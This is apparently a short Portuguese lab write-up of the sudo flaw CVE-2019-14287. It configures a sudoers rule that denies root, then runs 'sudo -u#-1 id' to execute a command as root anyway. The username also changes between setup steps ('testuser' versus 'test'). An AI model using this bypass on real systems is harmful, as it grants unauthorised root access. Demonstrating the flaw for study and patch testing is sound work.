gurneesh/cve-2019-14287-write-upDemonstração passo a passo da vulnerabilidade CVE-2019-14287 do sudo que permite que usuários restritos executem comandos como root por meio de IDs de usuário manipulados.
4294967295 Falha de Sudo Permite que Usuários Restritos Executem Comandos como Root
sudo su - root useradd -m -s /bin/bash testuser passwd testuser // adicione senha ao usuário visudo
test ALL=(ALL, !root) /usr/bin/id // especificando que este usuário não pode usar o comando id com o usuário root
SALVE O ARQUIVO E SAIA DO USUÁRIO ROOT
sudo su - test
sudo id VOCÊ RECEBERÁ A MENSAGEM Sorry, user test is not allowed to execute '/usr/bin/id' as root
sudo -u#-1 id OU sudo -u#4294967295 id
E pronto, você executou o comando id como root
